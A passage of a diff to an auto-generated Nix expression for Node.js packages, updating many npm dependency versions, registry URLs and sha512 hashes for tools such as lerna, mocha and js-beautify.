sources."iota-array-1.0.0" - sources."ip-2.0.0" + (sources."ip-address-9.0.5" // { + dependencies = [ + sources."jsbn-1.1.0" + ]; + }) sources."ip-regex-4.3.0" sources."is-arguments-1.1.1" sources."is-arrayish-0.3.2" @@ -80956,7 +81149,7 @@ in sources."is-number-7.0.0" sources."is-potential-custom-element-name-1.0.1" sources."is-stream-2.0.1" - sources."is-typed-array-1.1.12" + sources."is-typed-array-1.1.13" sources."is-typedarray-1.0.0" sources."is-url-1.2.4" sources."is-wsl-2.2.0" @@ -81252,10 +81445,10 @@ in sources."safer-buffer-2.1.2" sources."sax-1.3.0" sources."saxes-6.0.0" - sources."semver-7.5.4" + sources."semver-7.6.0" sources."server-destroy-1.0.1" sources."set-blocking-2.0.0" - sources."set-function-length-1.2.0" + sources."set-function-length-1.2.1" sources."setimmediate-1.0.5" sources."setprototypeof-1.2.0" sources."seventh-0.9.2" @@ -81268,7 +81461,7 @@ in sources."mimic-response-3.1.0" sources."node-addon-api-6.1.0" sources."simple-get-4.0.1" - sources."tar-fs-3.0.4" + sources."tar-fs-3.0.5" sources."tar-stream-3.1.7" ]; }) @@ -81285,7 +81478,7 @@ in ]; }) sources."smart-buffer-4.2.0" - sources."socks-2.7.1" + sources."socks-2.8.0" sources."socks-proxy-agent-6.2.1" sources."source-map-0.6.1" sources."source-map-resolve-0.6.0" @@ -81306,7 +81499,7 @@ in }) sources."statuses-1.5.0" sources."stream-shift-1.0.3" - sources."streamx-2.15.6" + sources."streamx-2.16.0" sources."strict-uri-encode-2.0.0" sources."string-kit-0.17.10" sources."string-padding-1.0.2" @@ -81381,7 +81574,7 @@ in sources."toidentifier-1.0.1" sources."tough-cookie-4.1.3" sources."tr46-4.1.1" - sources."tree-kit-0.8.5" + sources."tree-kit-0.8.7" sources."ts-dedent-2.2.0" sources."tslib-2.6.2" sources."tunnel-agent-0.6.0" @@ -81425,7 +81618,7 @@ in sources."whatwg-mimetype-3.0.0" sources."whatwg-url-12.0.1" sources."which-2.0.2" - sources."which-typed-array-1.1.13" + sources."which-typed-array-1.1.14" sources."wide-align-1.1.5" sources."word-wrap-1.2.5" sources."wordwrapjs-3.0.0" @@ -81467,10 +81660,10 @@ in js-beautify = nodeEnv.buildNodePackage { name = "js-beautify"; packageName = "js-beautify"; - version = "1.14.11"; + version = "1.15.1"; src = fetchurl { - url = "https://registry.npmjs.org/js-beautify/-/js-beautify-1.14.11.tgz"; - sha512 = "rPogWqAfoYh1Ryqqh2agUpVfbxAhbjuN1SmU86dskQUKouRiggUTCO4+2ym9UPXllc2WAp0J+T5qxn7Um3lCdw=="; + url = "https://registry.npmjs.org/js-beautify/-/js-beautify-1.15.1.tgz"; + sha512 = "ESjNzSlt/sWE8sciZH8kBF8BPlwXPwhR6pWKAw8bw4Bwj+iZcnKW6ONWUutJ7eObuBZQpiIb8S7OYspWrKt7rA=="; }; dependencies = [ sources."@isaacs/cliui-8.0.2" @@ -81494,6 +81687,7 @@ in sources."is-fullwidth-code-point-3.0.0" sources."isexe-2.0.0" sources."jackspeak-2.3.6" + sources."js-cookie-3.0.5" sources."lru-cache-6.0.0" sources."minimatch-9.0.1" sources."minipass-7.0.4" @@ -81505,7 +81699,7 @@ in ]; }) sources."proto-list-1.2.4" - sources."semver-7.5.4" + sources."semver-7.6.0" sources."shebang-command-2.0.0" sources."shebang-regex-3.0.0" sources."signal-exit-4.1.0" @@ -81720,27 +81914,29 @@ in sources."argparse-1.0.10" sources."asap-2.0.6" sources."asynckit-0.4.0" - sources."call-bind-1.0.5" + sources."call-bind-1.0.7" sources."combined-stream-1.0.8" sources."commander-4.1.1" sources."component-emitter-1.3.1" sources."cookiejar-2.1.4" sources."debug-4.3.4" - sources."define-data-property-1.1.1" + sources."define-data-property-1.1.4" sources."delayed-stream-1.0.0" sources."dezalgo-1.0.4" + sources."es-define-property-1.0.0" + sources."es-errors-1.3.0" sources."esprima-4.0.1" sources."fast-safe-stringify-2.1.1" sources."form-data-4.0.0" sources."formidable-2.1.2" sources."function-bind-1.1.2" - sources."get-intrinsic-1.2.2" + sources."get-intrinsic-1.2.4" sources."gopd-1.0.1" sources."graphlib-2.1.8" - sources."has-property-descriptors-1.0.1" + sources."has-property-descriptors-1.0.2" sources."has-proto-1.0.1" sources."has-symbols-1.0.3" - sources."hasown-2.0.0" + sources."hasown-2.0.1" sources."hexoid-1.0.0" sources."inherits-2.0.4" sources."js-yaml-3.14.1" @@ -81759,9 +81955,9 @@ in sources."qs-6.11.2" sources."readable-stream-3.6.2" sources."safe-buffer-5.2.1" - sources."semver-7.5.4" - sources."set-function-length-1.2.0" - sources."side-channel-1.0.4" + sources."semver-7.6.0" + sources."set-function-length-1.2.1" + sources."side-channel-1.0.5" sources."slash-3.0.0" sources."sprintf-js-1.0.3" sources."string_decoder-1.3.0" @@ -81813,13 +82009,12 @@ in sources."binary-extensions-2.2.0" sources."braces-3.0.2" sources."chalk-5.3.0" - sources."chokidar-3.5.3" + sources."chokidar-3.6.0" sources."dot-prop-8.0.2" sources."es-escape-html-0.1.1" sources."es-vary-0.1.2" sources."eta-3.2.0" sources."fill-range-7.0.1" - sources."fsevents-2.3.3" sources."glob-parent-5.1.2" sources."header-range-parser-1.1.3" sources."inflection-3.0.0" @@ -81927,7 +82122,7 @@ in sources."isobject-3.0.1" ]; }) - sources."call-bind-1.0.5" + sources."call-bind-1.0.7" sources."camelcase-2.1.1" sources."capture-stack-trace-1.0.2" sources."caseless-0.12.0" @@ -81976,7 +82171,7 @@ in sources."decamelize-1.2.0" sources."decode-uri-component-0.2.2" sources."deep-extend-0.6.0" - sources."define-data-property-1.1.1" + sources."define-data-property-1.1.4" (sources."define-property-2.0.2" // { dependencies = [ sources."isobject-3.0.1" @@ -81992,6 +82187,8 @@ in sources."encodeurl-1.0.2" sources."error-ex-1.3.2" sources."errorhandler-1.5.1" + sources."es-define-property-1.0.0" + sources."es-errors-1.3.0" sources."escape-html-1.0.3" sources."escape-string-regexp-1.0.5" sources."etag-1.8.1" @@ -82030,7 +82227,7 @@ in sources."fsevents-1.2.13" sources."function-bind-1.1.2" sources."get-caller-file-1.0.3" - sources."get-intrinsic-1.2.2" + sources."get-intrinsic-1.2.4" sources."get-value-2.0.6" sources."getpass-0.1.7" sources."glob-base-0.3.0" @@ -82041,7 +82238,7 @@ in sources."har-schema-2.0.0" sources."har-validator-5.1.5" sources."has-ansi-2.0.0" - sources."has-property-descriptors-1.0.1" + sources."has-property-descriptors-1.0.2" sources."has-proto-1.0.1" sources."has-symbols-1.0.3" (sources."has-value-1.0.0" // { @@ -82059,7 +82256,7 @@ in sources."kind-of-4.0.0" ]; }) - sources."hasown-2.0.0" + sources."hasown-2.0.1" sources."hosted-git-info-2.8.9" sources."http-errors-2.0.0" sources."http-signature-1.2.0" @@ -82288,14 +82485,14 @@ in sources."serve-static-1.15.0" sources."server-destroy-1.0.1" sources."set-blocking-2.0.0" - sources."set-function-length-1.2.0" + sources."set-function-length-1.2.1" (sources."set-value-2.0.1" // { dependencies = [ sources."extend-shallow-2.0.1" ]; }) sources."setprototypeof-1.2.0" - sources."side-channel-1.0.4" + sources."side-channel-1.0.5" sources."slide-1.1.6" (sources."snapdragon-0.8.2" // { dependencies = [ @@ -82315,9 +82512,9 @@ in sources."source-map-resolve-0.5.3" sources."source-map-url-0.4.1" sources."spdx-correct-3.2.0" - sources."spdx-exceptions-2.4.0" + sources."spdx-exceptions-2.5.0" sources."spdx-expression-parse-3.0.1" - sources."spdx-license-ids-3.0.16" + sources."spdx-license-ids-3.0.17" sources."split-string-3.1.0" sources."sshpk-1.18.0" (sources."static-extend-0.1.2" // { @@ -82457,7 +82654,7 @@ in ]; }) sources."braces-3.0.2" - sources."call-bind-1.0.5" + sources."call-bind-1.0.7" sources."cardinal-2.1.1" sources."chalk-4.1.2" sources."chardet-0.7.0" @@ -82485,12 +82682,14 @@ in }) sources."debounce-fn-3.0.1" sources."debug-4.3.4" - sources."define-data-property-1.1.1" + sources."define-data-property-1.1.4" sources."dir-glob-3.0.1" sources."dot-prop-5.3.0" sources."dotenv-8.6.0" sources."emoji-regex-8.0.0" sources."env-paths-2.2.1" + sources."es-define-property-1.0.0" + sources."es-errors-1.3.0" sources."es5-ext-0.10.62" sources."es6-iterator-2.0.3" sources."es6-symbol-3.1.3" @@ -82503,7 +82702,7 @@ in sources."fast-deep-equal-3.1.3" sources."fast-glob-3.3.2" sources."fast-json-stable-stringify-2.1.0" - sources."fastq-1.17.0" + sources."fastq-1.17.1" (sources."figures-3.2.0" // { dependencies = [ sources."escape-string-regexp-1.0.5" @@ -82514,16 +82713,16 @@ in sources."follow-redirects-1.15.5" sources."fs-extra-8.1.0" sources."function-bind-1.1.2" - sources."get-intrinsic-1.2.2" + sources."get-intrinsic-1.2.4" sources."glob-parent-5.1.2" sources."globby-11.1.0" sources."gopd-1.0.1" sources."graceful-fs-4.2.11" sources."has-flag-4.0.0" - sources."has-property-descriptors-1.0.1" + sources."has-property-descriptors-1.0.2" sources."has-proto-1.0.1" sources."has-symbols-1.0.3" - sources."hasown-2.0.0" + sources."hasown-2.0.1" sources."hyperlinker-1.0.0" sources."iconv-lite-0.4.24" sources."ignore-5.3.1" @@ -82588,11 +82787,11 @@ in ]; }) sources."safer-buffer-2.1.2" - sources."semver-7.5.4" - sources."set-function-length-1.2.0" + sources."semver-7.6.0" + sources."set-function-length-1.2.1" sources."shebang-command-2.0.0" sources."shebang-regex-3.0.0" - sources."side-channel-1.0.4" + sources."side-channel-1.0.5" sources."signal-exit-3.0.7" sources."slash-3.0.0" sources."sprintf-js-1.0.3" @@ -82694,7 +82893,7 @@ in sources."@babel/traverse-7.23.9" sources."@babel/types-7.23.9" sources."@jridgewell/gen-mapping-0.3.3" - sources."@jridgewell/resolve-uri-3.1.1" + sources."@jridgewell/resolve-uri-3.1.2" sources."@jridgewell/set-array-1.1.2" sources."@jridgewell/sourcemap-codec-1.4.15" sources."@jridgewell/trace-mapping-0.3.22" @@ -82706,7 +82905,7 @@ in sources."semver-6.3.1" ]; }) - sources."semver-7.5.4" + sources."semver-7.6.0" sources."yallist-4.0.0" ]; }) @@ -82762,11 +82961,11 @@ in sources."ansi-styles-3.2.1" sources."aproba-2.0.0" sources."are-we-there-yet-2.0.0" - sources."array-buffer-byte-length-1.0.0" + sources."array-buffer-byte-length-1.0.1" sources."array-flatten-1.1.1" sources."array-union-2.1.0" sources."array.prototype.reduce-1.0.6" - sources."arraybuffer.prototype.slice-1.0.2" + sources."arraybuffer.prototype.slice-1.0.3" sources."asn1.js-5.4.1" sources."asn1js-3.0.5" sources."asynckit-0.4.0" @@ -82792,13 +82991,13 @@ in sources."braces-3.0.2" sources."browser-or-node-1.3.0" sources."browser-process-hrtime-1.0.0" - sources."browserslist-4.22.3" + sources."browserslist-4.23.0" sources."buffer-5.7.1" sources."buffer-from-1.1.2" sources."bufferutil-4.0.8" sources."bytes-3.1.2" - sources."call-bind-1.0.5" - sources."caniuse-lite-1.0.30001582" + sources."call-bind-1.0.7" + sources."caniuse-lite-1.0.30001587" sources."canvas-2.11.2" sources."chalk-2.4.2" sources."chardet-1.6.1" @@ -82819,7 +83018,7 @@ in sources."convert-source-map-2.0.0" sources."cookie-0.5.0" sources."cookie-signature-1.0.6" - sources."core-js-3.35.1" + sources."core-js-3.36.0" sources."core-util-is-1.0.3" sources."cors-2.8.5" sources."create-hash-1.2.0" @@ -82842,7 +83041,7 @@ in sources."decode-uri-component-0.2.2" sources."decompress-response-4.2.1" sources."deep-extend-0.6.0" - sources."define-data-property-1.1.1" + sources."define-data-property-1.1.4" sources."define-properties-1.2.1" sources."delayed-stream-1.0.0" sources."delegates-1.0.0" @@ -82858,17 +83057,19 @@ in }) sources."dotenv-8.6.0" sources."ee-first-1.1.1" - sources."electron-to-chromium-1.4.653" + sources."electron-to-chromium-1.4.673" sources."emoji-regex-8.0.0" sources."encodeurl-1.0.2" sources."encoding-0.1.13" sources."end-of-stream-1.4.4" sources."enquirer-2.4.1" - sources."es-abstract-1.22.3" + sources."es-abstract-1.22.4" sources."es-array-method-boxes-properly-1.0.0" + sources."es-define-property-1.0.0" + sources."es-errors-1.3.0" sources."es-set-tostringtag-2.0.2" sources."es-to-primitive-1.2.1" - sources."escalade-3.1.1" + sources."escalade-3.1.2" sources."escape-html-1.0.3" sources."escape-string-regexp-1.0.5" sources."escodegen-2.1.0" @@ -82886,7 +83087,7 @@ in }) sources."express-validator-6.15.0" sources."fast-glob-3.3.2" - sources."fastq-1.17.0" + sources."fastq-1.17.1" sources."fill-range-7.0.1" sources."filter-obj-1.1.0" (sources."finalhandler-1.2.0" // { @@ -82930,8 +83131,8 @@ in sources."gauge-3.0.2" sources."gensync-1.0.0-beta.2" sources."get-caller-file-2.0.5" - sources."get-intrinsic-1.2.2" - sources."get-symbol-description-1.0.0" + sources."get-intrinsic-1.2.4" + sources."get-symbol-description-1.0.2" sources."github-from-package-0.0.0" sources."glob-7.2.3" sources."glob-parent-5.1.2" @@ -82948,13 +83149,13 @@ in sources."has-1.0.4" sources."has-bigints-1.0.2" sources."has-flag-3.0.0" - sources."has-property-descriptors-1.0.1" + sources."has-property-descriptors-1.0.2" sources."has-proto-1.0.1" sources."has-symbols-1.0.3" - sources."has-tostringtag-1.0.0" + sources."has-tostringtag-1.0.2" sources."has-unicode-2.0.1" sources."hash-base-3.1.0" - sources."hasown-2.0.0" + sources."hasown-2.0.1" sources."homedir-polyfill-1.0.3" sources."html-encoding-sniffer-2.0.1" sources."http-errors-2.0.0" @@ -82966,12 +83167,12 @@ in sources."inflight-1.0.6" sources."inherits-2.0.4" sources."ini-1.3.8" - sources."internal-slot-1.0.6" + sources."internal-slot-1.0.7" sources."into-stream-6.0.0" sources."ipaddr.js-1.9.1" sources."irc-colors-1.5.0" sources."irc-upd-0.11.0" - sources."is-array-buffer-3.0.2" + sources."is-array-buffer-3.0.4" sources."is-bigint-1.0.4" sources."is-boolean-object-1.1.2" sources."is-callable-1.2.7" @@ -82991,7 +83192,7 @@ in sources."is-shared-array-buffer-1.0.2" sources."is-string-1.0.7" sources."is-symbol-1.0.4" - sources."is-typed-array-1.1.12" + sources."is-typed-array-1.1.13" sources."is-weakref-1.0.2" sources."is-wsl-2.2.0" sources."isarray-2.0.5" @@ -83052,7 +83253,7 @@ in (sources."node-abi-3.54.0" // { dependencies = [ sources."lru-cache-6.0.0" - sources."semver-7.5.4" + sources."semver-7.6.0" sources."yallist-4.0.0" ]; }) @@ -83062,7 +83263,7 @@ in (sources."node-notifier-10.0.1" // { dependencies = [ sources."lru-cache-6.0.0" - sources."semver-7.5.4" + sources."semver-7.6.0" sources."yallist-4.0.0" ]; }) @@ -83116,7 +83317,7 @@ in sources."color-name-1.1.4" sources."has-flag-4.0.0" sources."lru-cache-6.0.0" - sources."semver-7.5.4" + sources."semver-7.6.0" sources."supports-color-7.2.0" sources."yallist-4.0.0" ]; @@ -83150,7 +83351,7 @@ in sources."rc-1.2.8" sources."readable-stream-3.6.2" sources."regenerator-runtime-0.14.1" - sources."regexp.prototype.flags-1.5.1" + sources."regexp.prototype.flags-1.5.2" sources."require-directory-2.1.1" sources."requires-port-1.0.0" (sources."resolve-1.22.8" // { @@ -83164,7 +83365,7 @@ in sources."run-parallel-1.2.0" sources."safe-array-concat-1.1.0" sources."safe-buffer-5.2.1" - sources."safe-regex-test-1.0.2" + sources."safe-regex-test-1.0.3" sources."safer-buffer-2.1.2" sources."sasl-anonymous-0.1.0" sources."sasl-plain-0.1.0" @@ -83184,13 +83385,13 @@ in }) sources."serve-static-1.15.0" sources."set-blocking-2.0.0" - sources."set-function-length-1.2.0" + sources."set-function-length-1.2.1" sources."set-function-name-2.0.1" sources."setprototypeof-1.2.0" sources."sha.js-2.4.11" sources."shallow-clone-3.0.1" sources."shellwords-0.1.1" - sources."side-channel-1.0.4" + sources."side-channel-1.0.5" sources."signal-exit-3.0.7" sources."simple-concat-1.0.1" sources."simple-get-3.1.1" @@ -83237,7 +83438,7 @@ in sources."tslib-2.6.2" sources."tunnel-agent-0.6.0" sources."type-is-1.6.18" - sources."typed-array-buffer-1.0.0" + sources."typed-array-buffer-1.0.1" sources."typed-array-byte-length-1.0.0" sources."typed-array-byte-offset-1.0.0" sources."typed-array-length-1.0.4" @@ -83267,7 +83468,7 @@ in sources."whatwg-url-5.0.0" sources."which-2.0.2" sources."which-boxed-primitive-1.0.2" - sources."which-typed-array-1.1.13" + sources."which-typed-array-1.1.14" sources."wide-align-1.1.5" (sources."wrap-ansi-7.0.0" // { dependencies = [ @@ -83314,9 +83515,9 @@ in sources."color-convert-2.0.1" sources."color-name-1.1.4" sources."emoji-regex-8.0.0" - sources."escalade-3.1.1" + sources."escalade-3.1.2" sources."fast-glob-3.3.2" - sources."fastq-1.17.0" + sources."fastq-1.17.1" sources."fill-range-7.0.1" sources."get-caller-file-2.0.5" sources."glob-parent-5.1.2" @@ -83352,10 +83553,10 @@ in lerna = nodeEnv.buildNodePackage { name = "lerna"; packageName = "lerna"; - version = "8.0.2"; + version = "8.1.2"; src = fetchurl { - url = "https://registry.npmjs.org/lerna/-/lerna-8.0.2.tgz"; - sha512 = "nnOIGI5V5Af9gfraNcMVoV1Fry/y7/h3nCQYk0/CMzBYDD+xbNL3DH8+c82AJkNR5ABslmpXjW4DLJ11/1b3CQ=="; + url = "https://registry.npmjs.org/lerna/-/lerna-8.1.2.tgz"; + sha512 = "RCyBAn3XsqqvHbz3TxLfD7ylqzCi1A2UJnFEZmhURgx589vM3qYWQa/uOMeEEf565q6cAdtmulITciX1wgkAtw=="; }; dependencies = [ (sources."@babel/code-frame-7.23.5" // { @@ -83382,11 +83583,11 @@ in sources."@hutson/parse-repository-url-3.0.2" sources."@isaacs/cliui-8.0.2" sources."@jest/schemas-29.6.3" - sources."@lerna/create-8.0.2" + sources."@lerna/create-8.1.2" sources."@nodelib/fs.scandir-2.1.5" sources."@nodelib/fs.stat-2.0.5" sources."@nodelib/fs.walk-1.2.8" - sources."@npmcli/agent-2.2.0" + sources."@npmcli/agent-2.2.1" sources."@npmcli/fs-3.1.0" sources."@npmcli/git-5.0.4" (sources."@npmcli/installed-package-contents-2.0.2" // { @@ -83397,14 +83598,9 @@ in sources."@npmcli/node-gyp-3.0.0" sources."@npmcli/promise-spawn-7.0.1" sources."@npmcli/run-script-7.0.2" - sources."@nrwl/devkit-17.3.1" - sources."@nrwl/tao-17.3.1" - (sources."@nx/devkit-17.3.1" // { - dependencies = [ - sources."lru-cache-6.0.0" - sources."semver-7.5.3" - ]; - }) + sources."@nrwl/devkit-18.0.4" + sources."@nrwl/tao-18.0.4" + sources."@nx/devkit-18.0.4" sources."@octokit/auth-token-3.0.4" sources."@octokit/core-4.2.4" sources."@octokit/endpoint-7.0.6" @@ -83424,7 +83620,7 @@ in sources."@octokit/tsconfig-1.0.2" sources."@octokit/types-9.3.2" sources."@sigstore/bundle-1.1.0" - sources."@sigstore/core-0.2.0" + sources."@sigstore/core-1.0.0" sources."@sigstore/protobuf-specs-0.2.1" (sources."@sigstore/sign-1.0.0" // { dependencies = [ @@ -83453,18 +83649,19 @@ in ]; }) sources."@sigstore/tuf-1.0.3" - (sources."@sigstore/verify-0.1.0" // { + (sources."@sigstore/verify-1.1.0" // { dependencies = [ - sources."@sigstore/bundle-2.1.1" + sources."@sigstore/bundle-2.2.0" + sources."@sigstore/protobuf-specs-0.3.0" ]; }) sources."@sinclair/typebox-0.27.8" - sources."@swc-node/core-1.10.6" - sources."@swc-node/register-1.6.8" - sources."@swc-node/sourcemap-support-0.3.0" - sources."@swc/core-1.3.107" - sources."@swc/counter-0.1.2" - sources."@swc/helpers-0.5.3" + sources."@swc-node/core-1.12.0" + sources."@swc-node/register-1.8.0" + sources."@swc-node/sourcemap-support-0.4.0" + sources."@swc/core-1.4.1" + sources."@swc/counter-0.1.3" + sources."@swc/helpers-0.5.6" sources."@swc/types-0.1.5" sources."@tootallnate/once-2.0.0" sources."@tufjs/canonical-json-1.0.0" @@ -83481,6 +83678,7 @@ in dependencies = [ sources."argparse-1.0.10" sources."js-yaml-3.14.1" + sources."sprintf-js-1.0.3" ]; }) sources."@zkochan/js-yaml-0.0.6" @@ -83626,7 +83824,7 @@ in sources."envinfo-7.8.1" sources."err-code-2.0.3" sources."error-ex-1.3.2" - sources."escalade-3.1.1" + sources."escalade-3.1.2" sources."escape-string-regexp-1.0.5" sources."esprima-4.0.1" sources."eventemitter3-4.0.7" @@ -83638,7 +83836,7 @@ in ]; }) sources."fast-glob-3.3.2" - sources."fastq-1.17.0" + sources."fastq-1.17.1" sources."figures-3.2.0" (sources."filelist-1.0.4" // { dependencies = [ @@ -83703,11 +83901,11 @@ in sources."hard-rejection-2.1.0" sources."has-flag-4.0.0" sources."has-unicode-2.0.1" - sources."hasown-2.0.0" + sources."hasown-2.0.1" sources."hosted-git-info-2.8.9" sources."http-cache-semantics-4.1.1" - sources."http-proxy-agent-7.0.0" - sources."https-proxy-agent-7.0.2" + sources."http-proxy-agent-7.0.2" + sources."https-proxy-agent-7.0.4" sources."human-signals-2.1.0" sources."humanize-ms-1.2.1" sources."iconv-lite-0.4.24" @@ -83747,7 +83945,7 @@ in sources."wrap-ansi-6.2.0" ]; }) - sources."ip-2.0.0" + sources."ip-address-9.0.5" sources."is-arrayish-0.2.1" sources."is-ci-3.0.1" sources."is-core-module-2.13.1" @@ -83780,6 +83978,7 @@ in sources."jest-get-type-29.6.3" sources."js-tokens-4.0.0" sources."js-yaml-4.1.0" + sources."jsbn-1.1.0" sources."json-parse-better-errors-1.0.2" sources."json-parse-even-better-errors-3.0.1" sources."json-stringify-safe-5.0.1" @@ -83960,17 +84159,15 @@ in }) sources."npm-run-path-4.0.1" sources."npmlog-6.0.2" - (sources."nx-17.3.1" // { + (sources."nx-18.0.4" // { dependencies = [ sources."ansi-styles-4.3.0" sources."cli-spinners-2.6.1" sources."cliui-8.0.1" sources."emoji-regex-8.0.0" sources."lines-and-columns-2.0.4" - sources."lru-cache-6.0.0" sources."minimatch-9.0.3" sources."ora-5.3.0" - sources."semver-7.5.3" sources."string-width-4.2.3" sources."strip-ansi-6.0.1" sources."wrap-ansi-7.0.0" @@ -83998,9 +84195,10 @@ in sources."p-waterfall-2.1.1" (sources."pacote-17.0.6" // { dependencies = [ - sources."@sigstore/bundle-2.1.1" - sources."@sigstore/sign-2.2.1" - sources."@sigstore/tuf-2.3.0" + sources."@sigstore/bundle-2.2.0" + sources."@sigstore/protobuf-specs-0.3.0" + sources."@sigstore/sign-2.2.3" + sources."@sigstore/tuf-2.3.1" sources."@tufjs/canonical-json-2.0.0" sources."@tufjs/models-2.0.0" sources."hosted-git-info-7.0.1" @@ -84011,7 +84209,7 @@ in sources."npm-packlist-8.0.2" sources."npm-registry-fetch-16.1.0" sources."read-package-json-7.0.0" - sources."sigstore-2.2.0" + sources."sigstore-2.2.2" sources."ssri-10.0.5" sources."tuf-js-2.2.0" ]; @@ -84103,7 +84301,7 @@ in sources."rxjs-7.8.1" sources."safe-buffer-5.2.1" sources."safer-buffer-2.1.2" - (sources."semver-7.5.4" // { + (sources."semver-7.6.0" // { dependencies = [ sources."lru-cache-6.0.0" ]; @@ -84141,18 +84339,18 @@ in }) sources."slash-3.0.0" sources."smart-buffer-4.2.0" - sources."socks-2.7.1" + sources."socks-2.8.0" sources."socks-proxy-agent-8.0.2" sources."sort-keys-2.0.0" sources."source-map-0.6.1" sources."source-map-support-0.5.21" sources."spdx-correct-3.2.0" - sources."spdx-exceptions-2.4.0" + sources."spdx-exceptions-2.5.0" sources."spdx-expression-parse-3.0.1" - sources."spdx-license-ids-3.0.16" + sources."spdx-license-ids-3.0.17" sources."split-1.0.1" sources."split2-3.2.2" - sources."sprintf-js-1.0.3" + sources."sprintf-js-1.1.3" (sources."ssri-9.0.1" // { dependencies = [ sources."minipass-3.3.6" @@ -84491,7 +84689,7 @@ in sources."kind-of-4.0.0" ]; }) - sources."hasown-2.0.0" + sources."hasown-2.0.1" sources."http-auth-3.1.3" (sources."http-errors-2.0.0" // { dependencies = [ @@ -84715,7 +84913,7 @@ in sources."isobject-3.0.1" ]; }) - sources."call-bind-1.0.5" + sources."call-bind-1.0.7" sources."caseless-0.12.0" sources."chokidar-1.7.0" (sources."class-utils-0.3.6" // { @@ -84743,7 +84941,7 @@ in sources."dashdash-1.14.1" sources."debug-2.6.9" sources."decode-uri-component-0.2.2" - sources."define-data-property-1.1.1" + sources."define-data-property-1.1.4" (sources."define-property-2.0.2" // { dependencies = [ sources."isobject-3.0.1" @@ -84769,6 +84967,8 @@ in }) sources."engine.io-parser-2.2.1" sources."entities-1.1.2" + sources."es-define-property-1.0.0" + sources."es-errors-1.3.0" sources."escape-html-1.0.3" sources."etag-1.8.1" sources."expand-brackets-0.1.5" @@ -84803,7 +85003,7 @@ in sources."fresh-0.5.2" sources."fsevents-1.2.13" sources."function-bind-1.1.2" - sources."get-intrinsic-1.2.2" + sources."get-intrinsic-1.2.4" sources."get-value-2.0.6" sources."getpass-0.1.7" sources."github-slugger-1.5.0" @@ -84819,7 +85019,7 @@ in ]; }) sources."has-cors-1.1.0" - sources."has-property-descriptors-1.0.1" + sources."has-property-descriptors-1.0.2" sources."has-proto-1.0.1" sources."has-symbols-1.0.3" (sources."has-value-1.0.0" // { @@ -84837,7 +85037,7 @@ in sources."kind-of-4.0.0" ]; }) - sources."hasown-2.0.0" + sources."hasown-2.0.1" sources."html-entities-1.4.0" sources."http-errors-2.0.0" sources."http-signature-1.2.0" @@ -85013,14 +85213,14 @@ in ]; }) sources."serve-static-1.15.0" - sources."set-function-length-1.2.0" + sources."set-function-length-1.2.1" (sources."set-value-2.0.1" // { dependencies = [ sources."extend-shallow-2.0.1" ]; }) sources."setprototypeof-1.2.0" - sources."side-channel-1.0.4" + sources."side-channel-1.0.5" (sources."snapdragon-0.8.2" // { dependencies = [ sources."define-property-0.2.5" @@ -85142,7 +85342,7 @@ in sources."color-name-1.1.4" sources."debug-4.3.2" sources."emoji-regex-8.0.0" - sources."escalade-3.1.1" + sources."escalade-3.1.2" sources."follow-redirects-1.15.5" sources."get-caller-file-2.0.5" sources."is-fullwidth-code-point-3.0.0" @@ -85196,7 +85396,7 @@ in sources."@types/commander-2.12.2" sources."@types/diff-3.5.8" sources."@types/get-stdin-5.0.1" - sources."@types/node-20.11.15" + sources."@types/node-20.11.19" sources."commander-2.20.3" sources."diff-3.5.0" sources."get-stdin-5.0.1" @@ -85355,7 +85555,7 @@ in sources."brace-expansion-1.1.11" sources."buffer-from-1.1.2" sources."bufferstreams-1.1.3" - sources."call-bind-1.0.5" + sources."call-bind-1.0.7" sources."caller-path-0.1.0" sources."callsites-0.2.0" sources."caseless-0.12.0" @@ -85379,7 +85579,7 @@ in sources."debug-2.6.9" sources."deep-extend-0.5.1" sources."deep-is-0.1.4" - sources."define-data-property-1.1.1" + sources."define-data-property-1.1.4" sources."delayed-stream-1.0.0" sources."doctrine-2.1.0" (sources."duplexer2-0.0.2" // { @@ -85391,6 +85591,8 @@ in }) sources."ecc-jsbn-0.1.2" sources."entities-1.1.2" + sources."es-define-property-1.0.0" + sources."es-errors-1.3.0" sources."es5-ext-0.10.62" sources."es6-iterator-2.0.3" sources."es6-map-0.1.5" @@ -85441,7 +85643,7 @@ in sources."function-bind-1.1.2" sources."generate-function-2.3.1" sources."generate-object-property-1.2.0" - sources."get-intrinsic-1.2.2" + sources."get-intrinsic-1.2.4" sources."getpass-0.1.7" sources."glob-7.2.3" sources."globals-9.18.0" @@ -85463,10 +85665,10 @@ in }) sources."has-ansi-2.0.0" sources."has-gulplog-0.1.0" - sources."has-property-descriptors-1.0.1" + sources."has-property-descriptors-1.0.2" sources."has-proto-1.0.1" sources."has-symbols-1.0.3" - sources."hasown-2.0.0" + sources."hasown-2.0.1" sources."http-signature-1.2.0" sources."ignore-3.3.10" sources."imurmurhash-0.1.4" @@ -85567,7 +85769,7 @@ in sources."safe-buffer-5.1.2" sources."safer-buffer-2.1.2" sources."sax-1.3.0" - sources."set-function-length-1.2.0" + sources."set-function-length-1.2.1" sources."shelljs-0.7.8" sources."slice-ansi-0.0.4" sources."sparkles-1.0.1" @@ -85689,10 +85891,10 @@ in mocha = nodeEnv.buildNodePackage { name = "mocha"; packageName = "mocha"; - version = "10.2.0"; + version = "10.3.0"; src = fetchurl { - url = "https://registry.npmjs.org/mocha/-/mocha-10.2.0.tgz"; - sha512 = "IDY7fl/BecMwFHzoqF2sg/SHHANeBoMMXFlS9r0OXKDssYE1M5O43wUY/9BVPeIvfH2zmEbBfseqN9gBQZzXkg=="; + url = "https://registry.npmjs.org/mocha/-/mocha-10.3.0.tgz"; + sha512 = "uF2XJs+7xSLsrmIvn37i/wnc91nw7XjOQB8ccyx5aEgdnohr7n+rEiZP23WkCYHjilR6+EboEnbq/ZQDz4LSbg=="; }; dependencies = [ sources."ansi-colors-4.1.1" @@ -85702,7 +85904,7 @@ in sources."argparse-2.0.1" sources."balanced-match-1.0.2" sources."binary-extensions-2.2.0" - sources."brace-expansion-1.1.11" + sources."brace-expansion-2.0.1" sources."braces-3.0.2" sources."browser-stdout-1.3.1" sources."camelcase-6.3.0" @@ -85715,7 +85917,6 @@ in sources."cliui-7.0.4" sources."color-convert-2.0.1" sources."color-name-1.1.4" - sources."concat-map-0.0.1" (sources."debug-4.3.4" // { dependencies = [ sources."ms-2.1.2" @@ -85724,7 +85925,7 @@ in sources."decamelize-4.0.0" sources."diff-5.0.0" sources."emoji-regex-8.0.0" - sources."escalade-3.1.1" + sources."escalade-3.1.2" sources."escape-string-regexp-4.0.0" sources."fill-range-7.0.1" sources."find-up-5.0.0" @@ -85732,11 +85933,7 @@ in 